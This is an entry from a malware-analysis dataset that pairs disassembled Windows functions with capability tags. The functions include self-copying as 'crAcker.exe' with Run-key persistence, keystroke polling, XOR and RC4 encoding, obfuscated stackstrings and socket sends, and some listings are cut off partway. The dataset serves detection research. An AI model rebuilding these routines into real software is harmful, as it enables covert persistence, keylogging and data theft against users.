joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call sym.___main
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym.nnnn
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60
Function at 0x402558
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040163e
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
Function at 0x404770
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4047d6
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403b14
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004029a0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4047c0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4047dd
lea eax, [ebp - 0x10]
call fcn.004038b0
ret

Function at 0x4065cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x406605
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004039a0
jmp 0x40660e
mov eax, ebx
mov edx, esi
call fcn.00403904
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x43b645
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edi
add edx, edx
or eax, edx
sub esp, 4
mov dword [esp], 0x207b1734
pop eax
call fcn.0043b68c
inc eax
or edx, eax
sub edx, 1
xor dword [ebx], edi
mov edx, edx
add eax, 0x36a40052
and edx, edx
add ebx, 1
sub edx, 0x5a8f6510
cmp ebx, ecx
jne fcn.0043b645
sub eax, eax
ret
Function at 0x401bda
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00403e40
mov dword [esp], eax
mov eax, dword [0x40c650]
push eax
push eax
call fcn.00406b93
lea eax, [esp + 8]
push eax
call fcn.00408510
push dword [esp]
push 0
push 0x40b00d
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
mov eax, dword [0x40c650]
push eax
push eax
push dword [esp + 8]
call fcn.00403ed0
push 0x40c34c
call fcn.00408510
push dword [esp]
call fcn.00403eb0
push dword [0x40c34c]
call fcn.00406b81
push dword [0x40c34c]
call fcn.00406bf4
mov eax, dword [0x40c650]
push eax
push eax
call fcn.00406ab6
push 0x40c344
call fcn.00408510
mov eax, dword [esp + 0x14]
call fcn.00403f20
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x401ce0
mov ebx, dword [esp + 0x18]
inc ebx
mov eax, ebx
call fcn.00403f20
mov ebx, eax
cmp ebx, 1
jne 0x401cbb
push dword [0x40c344]
call sub.SHLWAPI.DLL_PathQuoteSpacesA
push dword [0x40c650]
mov edx, 0x40b00e
call fcn.004085c0
mov edx, dword [0x40c344]
call fcn.004085c0
push 0x40c348
call fcn.00408510
mov edx, dword [0x40c34c]
push dword [0x40c650]
call fcn.004085c0
push 0x40c344
call fcn.00408510
mov dword [esp + 0xc], 2
jmp 0x401cf2
mov ebx, 1
cmp ebx, dword [esp]
jne 0x401cf2
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
mov eax, ebx
call fcn.00403f20
mov dword [0x40c33c], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
mov eax, ebx
call fcn.00403f20
mov dword [0x40c340], eax
mov eax, 1
jmp 0x401d25
push dword [esp + 4]
call fcn.00408620
add esp, 0xc
pop ebx
ret 4
Function at 0x40208a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
xor eax, eax
push eax
push eax
mov edx, dword [esp + 0x10]
lea ecx, [esp]
call fcn.00403060
push 0xa
push dword [esp + 4]
push dword [esp + 0x14]
call sub.KERNEL32.dll_FindResourceA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x4020db
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_LoadResource
mov dword [0x40c350], eax
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x40c38c], eax
mov eax, dword [esp + 4]
jmp 0x4020e3
push dword [esp]
call fcn.00408620
add esp, 8
ret 8

Function at 0x402727
Capabilities:
Create process on windows

Disassembly:
push ebp
push ebx
mov edx, 0x14
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x40272e
mov edx, dword [esp + 0x5c]
lea ecx, [esp]
call fcn.00403060
mov edx, dword [esp + 0x60]
lea ecx, [esp + 4]
call fcn.00403060
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
call fcn.00403060
lea eax, [esp + 0xc]
lea ebp, [esp + 0xc]
mov dword [ebp], 0x3c
mov dword [ebp + 4], 0x140
mov dword [ebp + 0x1c], 0
mov eax, str.open
mov dword [ebp + 0xc], eax
mov eax, dword [esp]
mov dword [ebp + 0x10], eax
mov eax, dword [esp + 8]
mov dword [ebp + 0x14], eax
mov eax, dword [esp + 4]
mov dword [ebp + 0x18], eax
lea eax, [esp + 0xc]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
mov dword [esp + 0x48], eax
push 0x19
call fcn.00403de8
lea eax, [esp + 0x4c]
push eax
lea ebp, [esp + 0x10]
push dword [ebp + 0x38]
call sub.KERNEL32.dll_GetExitCodeProcess
and eax, eax
je 0x4027d5
mov ebx, dword [esp + 0x4c]
cmp ebx, 0x103
je 0x4027d5
jmp 0x4027d7
jmp 0x4027a8
mov eax, 1
jmp 0x4027e0
push dword [esp]
call fcn.00408620
push dword [esp + 4]
call fcn.00408620
push dword [esp + 8]
call fcn.00408620
add esp, 0x50
pop ebx
pop ebp
ret 0xc

Function at 0x4038a1
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
je 0x4038b9
push dword [esp + 4]
push 0x40383a
call dword [sym.imp.USER32.DLL_EnumWindows]
jmp 0x4038f6
push esi
mov esi, dword [0x40c3e4]
test esi, esi
je 0x4038f5
push ebx
push edi
mov ebx, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x4038ed
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
push edi
push 0x40c3e4
call fcn.004076c4
pop ecx
pop ecx
test ebx, ebx
mov esi, ebx
jne 0x4038c6
pop edi
pop ebx
pop esi
ret 4
Function at 0x403d07
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x64
pop ebx
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call edi
test eax, eax
je 0x403dde
mov eax, dword [ebp - 0xc]
dec eax
je 0x403dc1
dec eax
jne 0x403dde
lea eax, [ebp - 0xb8]
push eax
xor esi, esi
mov dword [ebp - 0xb8], 0x9c
call edi
test eax, eax
je 0x403d64
cmp byte [ebp - 0x1e], 1
jne 0x403d64
inc esi
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x403dbd
dec eax
je 0x403db9
dec eax
je 0x403d97
dec eax
jne 0x403dde
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x403d89
dec eax
jne 0x403dde
neg esi
sbb esi, esi
and esi, 5
jmp 0x403d90
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x4b
mov ebx, esi
jmp 0x403dde
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x403db5
dec eax
je 0x403db1
dec eax
jne 0x403dde
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x41
jmp 0x403d93
push 0x3c
jmp 0x403ddd
push 0x32
jmp 0x403ddd
push 0x14
jmp 0x403ddd
push 5
jmp 0x403ddd
cmp dword [ebp - 0x14], 0
je 0x403ddb
cmp dword [ebp - 0x14], 0xa
je 0x403dd7
cmp dword [ebp - 0x14], 0x5a
jne 0x403dde
push 0x28
jmp 0x403ddd
push 0x1e
jmp 0x403ddd
push 0xa
pop ebx
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x78
leave
ret

Function at 0x404742
Capabilities:
Get graphical window text

Disassembly:
push edi
push dword [esp + 8]
push dword [0x40c6c4]
call fcn.004070e1
mov edi, eax
test edi, edi
je 0x4047a4
mov eax, dword [edi + 4]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x40476b
push dword [esp + 0xc]
push edi
call eax
jmp 0x4047a4
push ebx
push esi
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextLengthA]
push dword [esp + 0x14]
mov esi, eax
push esi
call fcn.00408790
mov ebx, eax
lea eax, [esi + 1]
push eax
push ebx
mov byte [ebx], 0
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextA]
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
sub esi, eax
push esi
call fcn.004088b0
pop esi
pop ebx
pop edi
ret 8
Function at 0x405f3c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
test eax, eax
mov edi, dword [sym.imp.USER32.DLL_GetPropA]
mov dword [ebp - 4], eax
je 0x405fc7
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
push 9
call esi
test al, al
jns 0x405fb9
push 0x11
call esi
test al, al
js 0x405fb9
push 0x10
call esi
test al, al
js 0x405fb9
push 0x12
call esi
test al, al
js 0x405fb9
push 5
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [ebp - 0xc]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x405fb9
push eax
push eax
push 0x44e
push dword [ebp - 4]
call dword [sym.imp.USER32.DLL_SendMessageA]
test ax, 0x800
je 0x405fe7
push str.PB_Hotkey
push dword [ebp - 4]
call edi
test eax, eax
jne 0x405fe7
push str.PB_WindowID
push dword [ebp + 8]
call edi
test eax, eax
je 0x405fe7
dec eax
push eax
push dword [0x40c6cc]
call fcn.004070e1
mov eax, dword [eax + 8]
jmp 0x405fe9
xor eax, eax
pop edi
pop esi
leave
ret 4

Function at 0x40627c
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp eax, edi
mov dword [0x40c624], eax
je 0x4062af
push str.AlphaBlend
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40c628], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [0x40c620], 1
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4062ed
cmp dword [ebp - 0xc], 1
je 0x4062fe
cmp dword [ebp - 0xc], 2
jne 0x4062ed
cmp dword [ebp - 0x18], 5
jb 0x4062fe
jne 0x4062ed
cmp dword [ebp - 0x14], edi
jne 0x4062ed
mov dword [0x40c620], edi
cmp dword [0x40c620], edi
je 0x406304
call fcn.004061c3
test eax, eax
jne 0x406304
mov dword [0x40c620], edi
pop edi
add ebp, 0x78
leave
ret

Function at 0x406bf4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x406c67
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x406c49
lea ecx, [eax - 1]
mov dl, byte [ecx]
cmp dl, 0x20
je 0x406c47
cmp dl, 0x5c
je 0x406c47
cmp dl, 0x2f
jne 0x406c53
mov eax, ecx
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x406c33
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x406c69
xor eax, eax
leave
ret 4

Function at 0x406c70
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
cmp dword [esi + 0x14], eax
mov dword [esp + 4], eax
jne 0x406ca5
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4
Function at 0x406ea0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
test esi, esi
mov dword [esp + 4], eax
je 0x406ee9
cmp byte [esi], al
je 0x406ee9
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40c768]
push eax
push ecx
call fcn.004070e1
test eax, eax
je 0x406f17
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x406ef0
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x406ed5
sub ecx, edi
push ecx
push esi
push eax
call fcn.00406f80
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x406ef0
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8

Function at 0x406f20
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
test edi, edi
mov dword [esp + 4], eax
je 0x406f79
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x406f78
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40c768]
push eax
push ecx
call fcn.004070e1
test eax, eax
je 0x406f74
cmp dword [eax + 4], 0
je 0x406f62
push esi
push edi
push eax
call fcn.00406f80
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc
Function at 0x406f80
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x406fb5
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
push 1
push 0
neg eax
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], edx
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x40702e
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
sub ecx, 1
je 0x40701b
sub ecx, 1
je 0x407006
sub ecx, 2
je 0x406ff3
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.00406c70
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40705b
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
Function at 0x407810
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
or esi, 0xffffffff
test eax, eax
je 0x4079c5
push ebx
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 8], ebx
je 0x4079c4
mov eax, dword [0x40c318]
push ebp
push 0x1000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
je 0x4079bc
push edi
nop
push 0
lea ecx, [esp + 0x20]
push ecx
push 0x1000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x1c]
cmp edx, 8
mov eax, ebp
mov edi, edx
jb 0x40797e
mov ebp, edx
shr ebp, 3
lea ebx, [ebx]
movzx ebx, byte [eax]
xor ebx, esi
and ebx, 0xff
add eax, 1
mov ecx, esi
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
xor ebx, ecx
and ebx, 0xff
add eax, 1
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
add eax, 1
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
movzx ebx, byte [eax + 1]
add eax, 1
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x40a1e0]
add eax, 1
sub edi, 8
sub ebp, 1
mov esi, ecx
jne 0x4078a0
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x14]
test edi, edi
je 0x40799f
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
shr esi, 8
xor esi, dword [ecx*4 + 0x40a1e0]
add eax, 1
sub edi, 1
jne 0x407982
cmp edx, 0x1000
je 0x407870
mov edx, dword [0x40c318]
push ebp
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
not eax
pop esi
add esp, 8
ret 4

Function at 0x4079d0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
push 0x18e
lea eax, [ebp - 0x18e]
push eax
call fcn.00401b9f
push 0x3e8
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x18e]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x40101a
push 0x40306b
push 0x40300f
call fcn.00401419
test eax, eax
jne 0x40105b
push 0x40306b
push 0x40303d
call fcn.00401419
push 0x2bf20
call sub.kernel32.dll_Sleep
jmp 0x401039
Function at 0x4018bb
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push eax
push ebx
push ecx
push edx
push edi
push esi
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x404]
push eax
call fcn.00401b9f
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x401905
mov al, byte [ebx + edi]
xor byte [esi], al
inc esi
inc ebx
dec ecx
cmp ebx, dword [ebp + 0xc]
jne 0x401905
xor ebx, ebx
cmp ecx, 0
jg 0x4018f6
cmp dword [ebp - 0x404], 1
je 0x4019cf
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x401921
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x401941
inc bl
dec esi
je 0x401935
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x40193c
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x4019c0
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x40197c
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
mov dword [ebp - 0x404], 1
jmp 0x4018e9
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x10

Function at 0x4019d9
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
push 0x14
lea eax, [ebp - 0x18]
push eax
call fcn.00401b9f
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x401a04
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x401a4d
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.00401b65
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x401a53
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x401a53
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x401a53
cmp dword [ebp + 0x10], 0
jne 0x401a09
cmp dword [ebp + 0x14], 0
je 0x401a61
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10